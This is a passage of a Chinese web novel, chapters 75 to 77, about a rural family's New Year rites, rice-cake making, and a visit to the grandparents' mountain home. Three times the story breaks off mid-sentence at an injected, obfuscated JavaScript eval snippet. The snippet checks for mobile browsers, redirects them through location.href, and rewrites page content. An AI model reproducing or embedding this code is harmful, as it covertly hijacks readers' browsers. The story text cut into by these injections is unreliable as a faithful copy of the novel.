等到男人们与小孩子出去拜年了,家里头的女人则备好香、烛、鞭炮与贡品,准备人全回来了,再去祠堂和土地庙烧香、拜拜。 宝珍宝珠跟着大人们绕村子拜年回来,还没等在家坐热屁股,李兰香又叫她们跟着去村头的土地庙拜神。 村里的土地庙说是庙,其实就是一间低矮的小房子,平日里总是锁着门,村上有专门的婆子看管钥匙,怕有娃娃进去玩耍捣蛋,只有节日里才会打开。 母女三人到了土地庙,已经有不少妇人在烧香拜拜了,庙里最上边供奉着两尊披着红布的彩塑神像,那是土地公和土地婆,两边的墙面上还画了八仙。 李兰香先将贡品摆上,然后点了香,再去庙前引燃爆竹,接着回来把香插进神像前的鼎中,最后跪到蒲团上,叩首三拜,默默祈求土地公与土地婆,保佑今年能风调雨顺,五谷丰登。 起身后,再拜一拜墙面上画的八仙,祈祷神仙们能保佑自家家宅平安,六畜兴旺。 如此,元日里要做的事便完成了。 回到家中,宝珍见到院子里全是打完爆竹后剩下的红纸屑,便要拿扫帚来扫地。 李兰香见了,连忙劝阻她:“不得扫不得扫。正月初一不能动扫帚,这都是咱们家的财气,扫了就没财咯。” 除了不能扫地,据说还不能泼水,水也是财,往外泼水就是破财。另外除了做饭吃饭,最好便不要再干其他活,李兰香说,这是要开个好头,要不然一年都要忙忙碌碌。 宝珍听了,只觉得这些习俗有趣。 一上午就在拜年中过去,午间用饭吃的是昨夜里的剩菜剩饭,孙婆子开玩笑道:“这过年呐,就是在不停地做菜、请客吃饭、再吃剩菜,要吃到正月十五才能停嘞。” 75. 黄元米果 大年初二,正式开年。 这一日起,乡人们便会带着丰厚的节礼,各处走亲访友去拜年。 李兰香早早起了,洗漱挽发后来到灶房,准备做米果吃。 昨个夜里浸泡的禾米经过一晚,已吸饱足了水,一粒粒鼓胀起来。浸好的禾米的颜色黄灿灿的,是由于水中加了植物染料的缘故。 年初二要吃年糕,寓意“年年高”,今日早食要做的便是黄元米果,是他们这儿独有的一种年糕。 罗水林昨夜睡前取了年前在山上折的黄元柴枝出来,将干枝子放到瓦盆中烧成灰,浸入水里沉淀冷却后,接着熬制灰水,待过滤掉灰渣,便得到了制作米果的天然碱水。 但若是想要上好色,还需另一味药材,那就是秋日里孩子们常去山上采摘拿来卖的黄栀子。 黄栀子不仅可以做中药,还能用来做染料。李兰香把黄栀子放入纱袋中,在水里熬煮半个时辰,就能提取出所需的天然颜料了。 制作好的灰水和栀子水用来泡禾米,给禾米上色,只要一晚便能成。 李兰香将浸米的水倒掉,再接清水略微漂洗两遍,然后捅开灶眼烧火,接着把米装进饭甑,放到锅中蒸熟。 待米蒸熟,倒出来摊开冷却,这个时候再添一遍灰碱水与黄栀子水跟米拌匀以便固色,继续放去锅里蒸,等上了水汽后就可以端出来,担到石臼里捶打了。 打年糕是罗水林的事儿,捶打好的黄米黏、软、糯,变成了一团金黄色的麻糍。李兰香早就洗净了印板,用小刷子在印板内部涂上了一层茶籽油,这样装黄米时便不会沾黏。 做好的黄米年糕脱模后是一条一条的,等冷硬了存放在水缸里,天冷时能留挺久。若是有时候不愿意做饭吃,就捞出一条来,或炒、或煮、或煎、或蒸,都十分快捷美味。 日头冒出来了,黄元米果也做好了。李兰香见状,加快速度,去后仓房割了小半条腊肉,又指使罗水林去地里扯大蒜与青菜回来,准备做腊肉炒年糕与水煮米果吃。 先将大蒜籽拍扁,腊肉切作薄片,洗净的蒜叶切碎,一同放下锅跟米果翻炒,调味只要加些许盐巴与酱油即可。水煮米果则更简单,只要把切好的米果和青菜同煮,等食材熟透后就能盛起出锅了。 宝珍宝珠对这两道主食尤为喜爱,腊肉咸香,年糕筋道,嚼起来糯叽叽的,比寡淡的白米饭和粥要好吃太多,一人吃了一大碗,若不是被李兰香喊住,怕积食,恐怕还要再添一碗呢。 吃过饭食,大家伙儿一同去老宅,今日姑姑水花会回娘家,给罗老头和孙婆子贺新岁。 宝珍和宝珠都很是开心,这意味着又可以收到一笔压岁钱了。不仅如此,明天李兰香也要带她们去山里的外祖家过节,还会在山上住上几日,想想便高兴。 半上午,水花就带着钱荣昌和两个孩子到了。一踏进院子,孙婆子便打起爆竹,然后搂过外孙与外孙女,一人塞了一个红纸包。 水花刚将拿来的节礼放到自家老爹老娘的屋子里,出来一看这场景,连忙叫道:“赶紧的,车上都教过你俩了,要说啥就忘啦?” 钱思文反应快,立马跪下给孙婆子和罗老头磕了个头,然后笑嘻嘻地拜年:“恭贺新禧,祝外祖外祖母福寿安康,寿与天齐!” 旁边的妹妹豆苗儿被他扯着一起跪下,只是她还小,不大会讲话,便只让磕了个头作数。 孙婆子乐乐呵呵地应了,然后又扯过水花来,背着女婿钱荣昌,悄悄问道:“你咋不带你婆母过来?她眼睛不好,王妈又放了假,她自个儿一人在家,能行不?” “行!”罗水花没好气地回答:“你又不是不晓得她有点死脑筋,年年我说要带她一起来过节,她非不肯,说是不合礼数,帮工的王妈又不在,所以只能我做了饭,坐在锅里热着,等午间她再端出来吃就行了。” 孙婆子听罢叹口气,她倒也不是怪亲家母,钱母人好,就是太讲究规矩了些,本来要是他们一家人来,还能留下住一两日,现在看来这次女儿水花和思文、豆苗又要当日回城喽。 “四个宝,过来!”罗水花挣开自家老娘的手,朝着四个侄子侄女招呼。等人聚齐凑到跟前了,就从袖子里掏出四个香囊,一一发给他们。 “谢谢姑姑!”四个娃娃异口同声地道谢,嘴巴里还不停给罗水花贺年,逗得她开怀不已。 宝金本不想接的,他自认为自己是个大人了,不过阿嬷叫他不要羞,继续接着,毕竟他还不及弱冠,不算成人。 娃娃们拿到了压岁钱,便手挽着手跑出门去耍,到了外头,纷纷拿出自己收的红包,凑在一块儿对数,看里头装了多少。 孙婆子给六个娃娃的压岁钱都是一样的,宝字辈的四个孙儿,昨日初一拜年就领了,每人都是二十八文;姑姑罗水花有钱,要大方些,每人给了六十六文。 “看来我娘还是偏疼我和豆苗嘛。”钱思文笑咧了嘴,“昨日她给了我二百文呢!还有我阿嬷,给了我整一两银子呢!” 豆苗儿瞅瞅哥哥钱思文,她还小,不懂钱,不管是收到铜板还是银子,反正最终的归属都是在罗水花那儿。不过瞧着哥哥姐姐们高兴,她也开心地拍起掌来。 家里面大人们在忙着做饭,今日不仅水花回娘家,还有远房的表姑婆、表侄子侄女们,也都会一同来做客,一年就聚这一次。 每年的年初二都是老宅最多人的时候,等接过这次客,后边还要接待一次族中的亲人。从年初二到年初八,乡人们都是像这样不停地在走动人家,年的氛围也是由此而来的。 人多,一桌不够坐,于是罗水森和罗水林在堂屋又支了张桌子。 他们俩作为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222094|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思文和豆苗的亲舅舅,同样是要给压岁钱的,看到几个娃娃跑了回来,赶紧叫住外甥和外甥女,给两人塞了红包。 以前的时候,罗家三兄妹还商量过给娃娃压岁钱这个事儿,本来想着反正都是你给我我给你的,还不如省点儿事,都不给最好。 结果孙婆子知道,把他们骂了一顿,她是这样讲的:“你们现在成了大人,做了父母,就忘记自己小时候的事啦?” “你们小时候我若是不给压岁钱,那一个两个的,都要滚到地上撒泼了。哦,小时候晓得自己要压岁钱,大了还要省回事,不给自家娃娃喽。那走出去,别个人家的小孩都有压岁钱,就我们家几个没有,那人家就不伤心、不丢面吗?” 娃娃们也是有社交,彼此之间会攀比的,这倒没说错。要是真不给了,娃娃一看,别人有自己没有,该多让人伤心呀。 好吧,几个父母认识到错误,也不嫌弃麻烦了,给便给了,只是年纪小的几个,还是要他们盯着的,要不然钱丢了可没处找理去。 表姑婆们每年都会晚到,罗水花把自己带过来的礼分了分,然后提了一扎去大哥大嫂房里,又提了一扎让三弟罗水林带回自家去,剩下的一些,便都是孝顺孙婆子跟罗老头的了。 过年同样是家里禽畜们遭殃的时候,猪年前就杀了,养的鸡鸭现在只要一做宴席,就要少上几只。李兰香悄悄拉过罗水花,跟她讲,等下午走时,让她带两只活鸭子回家。 实在是没办法,原本自家养的鸭是预备过年吃的,但两个小妮子死活不愿意杀,那总不可能给它们养老送终吧,家里还没那么多钱来支撑姐妹俩养鸭子当宠物玩。 所以李兰香便想歪招,拿鸭子当节礼送,反正只要不被宝珍宝珠碰见杀鸭,她们便不会闹事。李兰香跟罗水花讲完,连念几声“阿弥陀佛”,心里道:鸭子鸭子,莫怪我,怪只怪你投错了畜牲道,望你下回转生,能投个好胎吧。 当然,自家母亲的这些盘算,宝珍宝珠永远都不会晓得的。若是说姐妹俩真舍不得鸭子们,那倒也不是,毕竟它们不像小猫儿、小狗儿,容易跟人产生感情,只是小孩子天生心善,鸭子又是自己从小喂到大的,才不忍心吧。 中午吃饭,热热闹闹的坐了两桌,几个娃娃们甚至没有坐上桌吃,就用高与低的小凳子摆在地上,夹了菜后开开心心地吃过了饭。 下午的时候,一年难得见到几次的大家伙儿坐在一块,吃吃零嘴儿,聊聊去年各家田地里的收成,说说今年家中可能会有哪些变化,再忆一忆往昔,说点子八卦,便开始一一辞去了。 罗水花这次走的时候没像中秋节那会儿红眼睛,因年初六轮到娘家人到她家去做客了。她还与孙婆子讲好,要她与罗老头到时留在城里住两日呢,山不就我我来就山嘛,反正只要爹娘在旁边,家的感觉就还在。 76. 山葡萄酒 次日,因要上山去李家拜年,一家四口早早便起了。李兰香望望外头,已经到了辰时①,天却依旧灰蒙蒙的,上空还漂浮着几朵阴云,又刮起了一阵北风,想来应当是要下雨。 她皱皱眉头,从箱笼中又翻出两件棉坎肩,套在宝珍与宝珠的袄子外头。 宝珠乖乖地任由她帮着穿衣裳,见李兰香不开心,便搞怪地举起手来,撒娇道:“哎呀,穿太多了,我的手都举不起来啦。” 冬日里衣裳穿的多,暖和是暖和了,就是特别的不方便,浑身都鼓囊,举手抬足需多使些力,让人累得慌。 李兰香果然被逗乐,紧皱的眉头散开,帮宝珠穿好衣服后再拍一下她的小屁股,嗔怪道:“不穿衣裳,等下受了冻,看你愿不愿意吃苦药。” 这是在奚落宝珠前头感染风寒,哭闹不愿意吃药的事呢。说罢,她又叹口气,“也不晓得等下会不会落雨,要是落了雨,咱们可就去不了外祖家喽。” 两姐妹可就盼着去山上外祖家与舅舅玩呢,听了话,连忙向老天拜拜,求道:“天爷天爷莫落雨,等我归家敬糕吃。” 这雨要落不落的,等一家人不急不慌地吃完了早饭,天都大亮了,还是没有落下来。 罗水林站在院子门外揣着手,瞧天瞧了半晌,然后发话:“云被吹散了些,想来一时半会儿落不下来,咱们还是收拾东西,上山去吧!” 哦耶!两姐妹听了吩咐,开心不已,赶紧去帮着收东西。将鸡笼子和食盆挪到檐下来,鸭棚里的鸭子不用管,它们不怕淋雨,只要敞开棚子门,锁住院落,就跑不了。 李兰香找出年前买好的各种菜种子和布匹,还有给爹娘哥哥做好的三双鞋子,用包袱装起来,一起带上放进背篓里。 之前想着父母哥哥在山上,下山不便,像是水里的鱼虾之类,更是吃的少,所以年前做好的腊鱼也都提上几条,跟煎好的小鱼干包上。 罗水林则是直接从仓中装了一袋脱壳的新米甩背上背着,又听李兰香的,去棚里捉了三只活鸭,用绳子捆住脚,倒吊着栓在裤腰上,左右手中再各提一壶茶籽油和一壶花生油,满满当当。 收拾好了东西,将大门与院子门锁住,把钥匙送去老宅给葛月红,托付她这几日帮看着家中的鸡鸭,得空喂喂食儿,便可以出发上山了。 怕走在路上会落雨,两夫妻还带了一捆油布,打算等落起雨来撑开,歇一阵再走。 宝珍与宝珠大了一岁,现在走路稳当不少,两个人就牵着娘亲李兰香的手,跟在身旁行走,等走累了,再轮流进背篓里,坐着歇一歇。 山上大多的树木还青绿着,植物在南边儿就是这样,即便是冬日里,也不大受季节的影响,落的光秃秃的。宝珍和宝珠还见到油茶籽树上,居然开起了花呢。 “为什么它们冬天还开花?”两姐妹不解,只听说过梅花会冬天开呀。 这要问罗水林和李兰香,他们当然也是不晓得的。反正从古至今,从他们小时到现在,油茶树就是冬日里开花,每年霜降摘过油茶籽后,树上就盛开一朵朵白花,要开到正月才会停呢。 罗水林答道:“不晓得呀,可能这花不怕冷吧。不过它们早就开了,现在都快过花期了,衰败了许多嘞。” 见到树上还残留着几朵花,他就放下油壶,空出手来折了一根草茎,插到花心里头,示意宝珍和宝珠去吸。 油茶树花会产花蜜,吃起来甜滋滋,那草茎中空,略微一吸便能吸上来,两姐妹就轮流吃过几朵蜜,甜进心里。 四个人走一阵,歇一阵,翻过两座山,越爬越高,温度也渐渐低下来,山间的风一吹,真叫一个透心凉。 李兰香生怕两个娃娃受冻生病了,过一会儿就要问她们冷不冷。 “一点点。”宝珍被她牵着,由于在走路,身上活动起来,产生了热量,就不容易冷。 李兰香捏捏两个人的小手,的确是暖融融的,又告诫道:“另外的手缩袖子里,要不就放兜里,不要拿出来啊。” “就是脸上吹得疼。”宝珍接着道。 这个就没办法了。身上还能多加衣,脑袋也给她们带上了帽子,只有脸露在外头,被风吹得凉飕飕。 “莫去揉,揉了脸上会生冻疮。”李兰香后悔,早晓得就该做个围脖围上,至少能多挡点风。 今日中午的午食是在山上吃的。罗水林把身上的东西卸下来,到旁边拾了些松毛和干柴,然后掏出火折子,点起火堆。 除了带节礼,他们还带了饭食和水在身上。李兰香从背篓里拿出三个空竹筒递给他,里面一个装着水,另两个装好了饭,只是全部都冷掉了。罗水林接过后就架在火堆上,用火来烘它。 走路走累了的两姐妹坐在石头上歇了一小会,恢复好精神,就又跑开,去地上捡松毛过来给罗水林烧。等水和饭烧热了,一家人就围着火堆,开始吃起饭来。 米饭是今早新煮的,里面填了切成丁的腊肉与香肠,还有碎的菜叶子,被火热过后,油脂都渗进了饭里,闻着喷香,且又是用竹筒装着热过的,还散发出一股好闻的竹子香气。 一个竹筒的饭两人分食,份量不算太多,不过一会儿,就全部吃完了。再把热好的水喝掉,烧过的竹筒外部已经变得焦黑,留着也没多大用处,且竹子便宜好得,就这样丢了也不会心疼。 吃过饭,继续行走,等终于走到落鸟峰的山脚下,已经是申时②过半了,舅舅李虎早就等在山下,盼着他们来。 李虎是猎人,听觉敏锐,还没见着人影,就已经听到响声,寻声找过去,果然是妹妹妹夫一家人到了。 “哎哟!”他大呼一声,风卷似的跑过去,还不等两夫妻见着影子回神,宝珍宝珠就被他搂在怀里,举得高高的了。 “舅舅!”宝珍和宝珠抱着李虎的脑袋惊喜尖叫,“你怎么知道是我们到了呀?” 李虎咧开嘴巴笑,说道:“那还能不晓得么!你舅舅我的耳朵好使,就算是豺狼虎豹,离得我一里远,我都能听着它们的喘气声嘞!” “吹牛!”李兰香才不惯着自家哥哥,嫌弃道:“你就吹吧你!” 然后又问他:“等了多久了?爹娘咋样?”李兰香端午节后就再没与爹娘见面,算一算有大半年了都,还真是记挂的慌。 李虎把她背上的背篓接过来背着,又一手抱一个娃娃,示意他们跟着走,边走边说着:“还好,没等很久,爹说今日可能下雨,你们要不然不来,要不然就会晚来,所以我就迟一点下山来等你们了。” “家里还就那样,没啥变化。娘在准备做晚饭,爹么,他年前弄伤了腿,只能歇着。” 这话一出吓死个人,李兰香的心都提起来,急忙问道:“咋回事?怎个会弄伤腿嘞,严不严重,要不要紧?” 罗水林皱起眉来,宝珍和宝珠同样一脸担忧,紧跟着问:“外祖现在没事吧?” “没事,没事!”李虎乐呵呵地,“有事我早就下山找你们去啦。” “不要怕,伤的不重,就是擦破了点油皮,没伤着骨头。本来他还想跟我一起下山来接你们呢,被娘骂了才老实。” 还能走路下山,那就应当是伤的不重。李兰香放下心来,只是还疑虑,“那爹咋伤着的腿?” “年三十那天我们去上坟祭祖,看到一头山羊带着只小崽子呢,我跟爹就拿绳索去捉它。追了一阵,爹没见着其他山民设下陷阱做的标识,一脚踏进去,就被里面的木刺划伤了腿呗。” 猎户受伤是常事,只要不伤及筋骨,危及性命,那就不算严重。听至此,李兰香便彻底放下忧虑,埋怨道:“爹真是,年纪大了还不多上心些,都是老猎户了,竟还犯这种错。” 话虽这样说,心里却又想着,看来下次上山,还要去多买些药材来,以备不时之需。 一行人慢慢悠悠地爬上山腰,终于见到了熟悉的院落。高高的院墙上插着削尖的瓦片,院墙底下种的猫儿刺依旧青翠。 宝珍宝珠被放下地,率先跑过去,将院门推开,冲着里头大喊道:“外祖、外婆,我们到啦!” “哎哟,宝珍宝珠到啦!”李父伤了腿不能下山,又盼着女儿女婿还有外孙女们来,就搬出凳子坐在廊下,一门心思盯着门外。 此时见到两个外孙女,更是激动地站起来,迎到台阶下去。 “外祖你别动。”宝珍宝珠跑上前,一人揽住一边,小心翼翼地搀着他,说道:“外祖坐!” 李父哭笑不得,他的腿本就不严重,行走根本不妨事。只是家里人顾忌他年纪大了,想着让他不要爬上爬下,才没去山下接人。也不晓得李虎咋个对他们讲的,搞得他好似断了腿一样。 不过外孙女们这么乖巧这么贴心,他心里畅意得很,就顺两个娃娃的意,被扶着上台阶继续坐在凳子上。 刚坐下,女儿女婿们也到了。李兰香见到他,喊了一句“爹”,然后就问:“娘呢?” “你娘在后头做饭呢。” 罗水林见到岳丈,同样是叫了人,然后就主动提着节礼进屋子里去了。 “伤的重不重?”李兰香一边问,一边去摸自家老爹的腿,“是伤着哪条腿?” 李父挽起右边裤腿来展示给她瞧,被木刺划伤的地方在膝盖上边一点儿,用纱布包着了,里面不晓得是敷了啥子草药,绿汁子都浸润出来,透着股生草味。 “你娘给敷的,里面有刺儿草、仙鹤草和蒲黄,她说都是止血的,就一起敷了。” 李兰香有些无语,“咋能这么随便。”不过山民们都这样,靠山吃山,受了伤生了病,只要不是太严重,基本就自己在山上采点草药,吃一吃敷一敷便了事,反正总会好。 “怎能这样说?”李父不认同,“你娘还能害我不成?的确是止血的嘛,这今天第三日,我伤口都快要好了嘞,你娘还是有办法的。” 行吧,你们妇唱夫随。 李兰香看过伤口,的确不严重,划的口子长了些,但伤口不深,已经快要结痂了。 在灶房做饭的李母听到动静出来,见到女儿一家人都到了,又听宝珍宝珠叫她,更是笑得合不拢嘴。若不是身上油烟味儿重,手里还拿着锅铲,定要好好亲昵两个外孙女一顿。 说过话,李兰香就紧跟着母亲去灶房做饭,罗水林也跟过去帮着烧火,李虎见没他的事,就进屋子搜罗出过年备的吃食,装了满满一大盘子过来,端到廊下给两个娃娃吃。 山民们备的年货大多是肉食,他们在秋日里狩猎,那时的动物经过春夏秋三季,早就吃的膘肥体壮,只等存够油脂过冬呢。 狩猎来的野猪、山羊、麂子、兔子等物,剥了皮取肉,或是制成腊肉,或是制成熏肉,可以保存上许久。 像是过年的年货,他们通常都会将肉切成肉条,或者是锤成肉片,然后裹上自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235110|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制的山椒、盐巴、香油、小茴香等调料,再拿去晒干,便成了肉干或者肉脯。 宝珍取了一片肉脯吃,晒干的肉脯颜色比较深,呈现出酱红色或者褐色,上面有磨碎的香料,闻起来十分诱人。吃起来的口感不算很好,干巴巴的,要使劲扯才能咬下一块,放进嘴巴用口水充分润湿,才能嚼得动。不过滋味倒是异常的好,咸、香、辣,肉味十足。 年货除了肉食,还备了不同的坚果与干果,山里植物多,像是常见的毛栗子、橡子、苦槠、山葡萄、野毛桃等都有,全被李母摘了来,或是晒干、炒制、风干,都做成了易于保存的干果。 两个娃娃吃了肉脯和干果,李父瞧着再吃就吃不了晚饭了,便连忙叫停,又喊舅舅李虎带着她们到周遭去耍,省得姐妹俩无聊。 晚上的吃食异常丰盛,用栗子炖了野鸡,山薄荷炒野猪肉,□□肉,腊味和卤肉做成的拼盘,清炒了冬笋,另外还用野茴香跟鸡蛋包了饺子,吃的一伙人不愿意下桌。 李父、李虎和罗水林拼酒,喝的是自己家酿的山葡萄酒,闻着香,喝起来甜,酒液澄澈,是漂亮的紫红色。 “我也想喝。”宝珠见到了,也要来上一口。 李母连忙劝阻她:“乖乖,这可喝不得,这个酒劲儿大,喝了头要疼的。” 但是见到宝珠眼馋的样子,她还是倒了半陶匙,叫她尝尝味道。李兰香在旁边笑,就等着等下看自己女儿的笑话呢。 果然,酒一入嘴,味道十分甘甜,但是随之而来的是回涩和强烈的灼烧感。宝珠一口酒含在嘴巴里,只咽下小半口便要吐掉,李母见状赶紧拿个空碗接住。 “咳咳咳……”宝珠吐掉酒,咳个不停,李母抱着她给她拍背,又喂清水给她喝,这才缓过来。 “好喝不?”李兰香笑嘻嘻问她。 宝珠摇摇头,哭丧着脸回答道:“一点都不好喝,好辣!” 桌上的大人都笑起来。李兰香更是趁机教育她:“外婆都叫你不要喝,你自己非要喝的。现在晓得了吧,还是要听大人的话,才不会吃亏。” 宝珍在旁边吃茴香饺子,茴香味重,香气特殊,许多人都不爱,适应不了那种奇怪的味道。不晓得为何,她第一次吃便喜欢上了,一口一个,根本停不下来。 “我就晓得我们家宝珍爱吃。”李母笑盈盈的,“水林也喜欢吃这种味重的东西,什么茴香、薄荷、大蒜、紫苏,他都能接受。记得他第一次上门来做客,我给他做了紫苏烤鹿肉吃,他喜欢的不得了,把剩的都吃完了,我就晓得,他喜欢这一味。女儿肖父,所以宝珍也肯定喜欢。” 宝珍听了便冲她笑,夸赞道:“是外婆的手艺好,做啥都好吃。” “哎哟。”李母被夸的心花怒放,拉着宝珍的小手亲个不停,“我们乖乖真可人,讲话都好听的不得了,跟那山间的黄雀似的。” 晚上吃过饭,李父李母又掏出红包来给两姐妹,舅舅李虎也要给,他是一人不饿全家不愁,这么多年来打猎卖猎物的钱全攒着了,又因为在山上,花也花不出去,所以给的红包格外大,两姐妹一人给了半两碎银子。 李兰香见了,不认同地道:“给这么多干啥,她们俩这么小,能花什么钱。倒是你,赶紧拿攒的钱娶个媳妇来才是正理,别天天呆在这山里转悠,难不成还真想找个猴子过日子。” “别管他。”李母白自己儿子一眼,“把钱给宝珍和宝珠,好歹也是花在咱们自家人身上,他现在也不像以前,天天爱钻林子了,只是不晓得又喜欢跑到哪里去,整日里不见人影,还总把家里的吃食往外搬呢。” 李兰香和罗水林听罢,相视一眼,怎么总感觉不太对劲呢。 “舅舅,你是不是有喜欢的女孩子啦?”宝珍突然开口问。 “没有啊。”李虎喝了酒,脸与耳朵都是红的,看说话和神情倒是不像有异,不过他冲着宝珍眨眨眼睛,“以后你就晓得啦。” 众人本还抱有希望,听到他说没有,气得李母直接上手揪他耳朵,真想把他脑袋撬开来瞧瞧,里头是不是装的不是脑浆是石头,要不然怎么就是不开窍呢。 宝珍在旁边吐吐舌头,实在是深感对不起舅舅,自己会错意问错话,好心办了坏事。不过,看来从古至今,父母的催婚从来就没变过,还是一样的爱为儿女操心呐。 吃过饭,收拾了碗筷。外面几个男人还在凑一起谈天,李母抱着床新被子过来,“山上天冷,前几日出日头还好些,今日里阴天,温度降了许多,就多盖床被子吧。” 在山上住,没有多的房间,于是两姐妹跟着父母睡,罗水林睡在外沿,李兰香睡中间,两个娃娃睡最里边。 李母铺好被子,然后坐在床沿,拉着女儿的手说小话:“我听席上水林讲,你们年后便要自己去开铺子?” “是呢,我打算开个食铺。”李兰香应和道。 “那钱凑不凑手啊?若是不凑手,就问我和你爹要,反正我们不咋个需要用到钱。” “另外再不够的话,你哥哥那里应也存了许多,你去问他要,他一定给,不要舍不下面子,或者我去帮你问也行。” 李母实在忧心,女儿的难处她晓得,都是做爹娘的,她哪能不懂,现在兰香这么拼,不就是为了宝珍与宝珠么。她当娘的,把女儿嫁出去可不是为了吃苦头的,儿女遇上了难处,不管咋样,都要托举一把,如此才能称得上是父母啊。 77. 精怪 父母之爱子,则为之计深远①。李兰香与罗水林虽未识得几个字,也无甚谋略,决定拼一把开铺子挣钱,不过是因一腔拳拳爱子之心,想给两个女儿长大后多添一份底气和出路。 听罢母亲的话,李兰香果然泪湿了眼睛,心底却是十分欢愉的,家中父母、亲人处处都想着她、向着她,这种感觉,真好。 她拿手抹掉沁出的泪珠子,娇娇地撅嘴一笑,调侃道:“这般说……哥哥刚还在席上神神秘秘的,指不定哪天真给你们带回个儿媳妇来,到时人家娶亲也是要用钱的。所以你可千万不要去向他问,要是被哥哥晓得,定要闹起来。” “他敢!”李母啐一声,骂道:“他要是真能给我带回个儿媳妇来最好!我就是怕他被人骗,你哥哥脑子又不灵光,给人骗了估计还傻乎乎帮着数钱呢。” “啧。”李兰香白她一眼,帮哥哥李虎辩解道:“哪有你说的那么差劲?他是不开窍,又不是脑子不好!” “你呀你,就是喜欢管太多,他都这般大了,说两句就行了,别一个劲儿去损他。要是以后哥哥成了亲,你还这样在嫂子面前管他东、管他西,不出三日,家里准保鸡飞狗跳……” “好好好……不讲他!不讲他!”李母听不得女儿唠叨,赶忙转移话题,“那你开铺子的章法理顺了么,要不要我们去帮帮忙?” “不用,开铺子的事,我和水林哥自己会谋划好,莫操心哈。” 李兰香揽过李母的肩,靠住,又拿头去蹭她的颈窝,甜甜地撒娇道:“我手里头有钱,不用担心。另外再说了,若是没钱,也是先问我公婆要。天底下哪有公中不出钱,专往娘家讨的道理,你说是不。” 女儿的撒娇让李母十分受用,自从兰香长大嫁了人,就很少露出这种小女儿情态,也不像小时候日日黏着她了。 听到她说的确不需要给钱,李母把心放回肚子里,但还是叮嘱道:“话是这样说,不过,遇到了难处,也定要跟我与你爹讲,晓得不?千万不要一个人傻傻的自己扛。” “晓得,晓得。” …… 白日里的阴云果然是预兆,晚间不到亥时②,外面竟纷纷扬扬下起小雪来,还掺和着细微的雨丝。 雪子打在屋顶的瓦上嘀嗒作响,宝珍与宝珠正在堂屋烧的火盆里烤栗子,听到屋顶有响声,还以为是山间的落鸟,于是跑去院子里瞧。 因是过年,廊下挂了好几只红灯笼,夜里点上蜡烛,能把整个院子映照的红彤彤。 透过光,宝珍与宝珠见到天上不停落下细沙砾,拿出手接住,那透明的雪子一碰触到暖融融的小手,便化作了水滴。 “下雪啦!下雪啦!”两个娃娃惊喜地尖叫跑进屋,把手摊开给大人们瞧。 李父瞧过宝珠小手里的水滴,又探头往屋外看,惊讶道:“哟,还真是下雪了。” 其实山上落雪很正常,只要气温稍微低些,便会下小雪,一个冬日里,多的时候能下十来场呢。不过山下倒是挺少下的,因山下气温偏高,若是落小雪,下下来也都化成了雨。 “没想到今年开年竟也下雪。”李母从房里走出来,站在廊下感叹道。 李父接过话:“年后落雪也好,能多冻死些虫子,只要不成灾,便不会对种田有妨害。” 一家子人全都走出来,看着屋外的雪景。瑞雪兆丰年啊,看来,今年应当又是一个好年。 晚上睡觉,宝珍与宝珠洗漱后脱了衣裳,便滚进床内侧,然后招手叫李兰香赶紧上来。 两个娃娃大了些分了床后,能跟母亲一起睡觉的时候就很少了,李兰香一上床就被她俩搂住,姐妹俩还怪公平,睡前就说好了,今日谁贴着娘亲睡,明日就换另一个,轮着来才公平。 做爹的罗水林就没人抢,一个人孤零零地睡在最外侧,只有晚上要水喝、要方便的时候,才能想起他,叫他去点灯。 今晚宝珠先贴着娘,最里侧躺着姐姐宝珍,可把她高兴坏了,两只小手一点都不安分,去捏李兰香和宝珍的耳珠子玩。 这是她的一个习性,从小就喜欢手里头捏着东西睡,断奶时要摸奶奶,李兰香觉得不好,总是不让摸,就改成了摸耳珠子。等到大一些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268220|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分了床,她要摸着宝珍的耳珠子睡觉,但宝珍可不惯她,被捏的不舒服了就拍她的手,后面就慢慢改掉了,只有睡前才让玩一会儿。 “好啦!”李兰香让她捏了几下过过瘾,然后把宝珠的手塞被子里,“赶紧睡!” “唔……让我再摸摸嘛。”宝珠不肯,在被子里扭来扭去,跟条泥鳅似的。 宝珍跟宝珠共用一个被子,这边一扭,冷风就不停灌进来,冻得宝珍够呛。于是宝珍把冰冰的小手悄悄伸进去,找到宝珠的裤腰,拿手往她裤子里一塞,贴在宝珠两个屁股上,冷得她打了个寒颤。 “哈哈哈……叫你扭。”宝珍不怀好意地笑。 宝珠跟李兰香告状:“娘亲,你看姐姐。” “活该!”李兰香乐得见有人治她,“叫你不听话,等下冷病了,我看你还扭不扭。” 